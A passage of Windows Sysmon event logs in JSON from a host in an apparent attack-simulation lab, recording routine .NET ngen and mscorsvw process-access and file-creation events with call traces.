C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:44.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A8-5F2D-0000-0010236A0B00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:45.620\r\nProcessGuid: {90617006-42A8-5F2D-0000-0010236A0B00}\r\nProcessId: 3164\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c5c-0\\Microsoft.CSharp.dll\r\nCreationUtcTime: 2020-08-07 12:01:45.620","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:45.620","ProcessGuid":"{90617006-42A8-5F2D-0000-0010236A0B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c5c-0\\Microsoft.CSharp.dll","CreationUtcTime":"2020-08-07 12:01:45.620","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-00107C6E0B00}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-00107C6E0B00}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-00107C6E0B00}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-00107C6E0B00}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-00107C6E0B00}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-00107C6E0B00}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.822\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-001043720B00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.822","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-001043720B00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-001043720B00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-001043720B00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-001043720B00}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:45.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-001043720B00}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:45.916\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-0010DD750B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET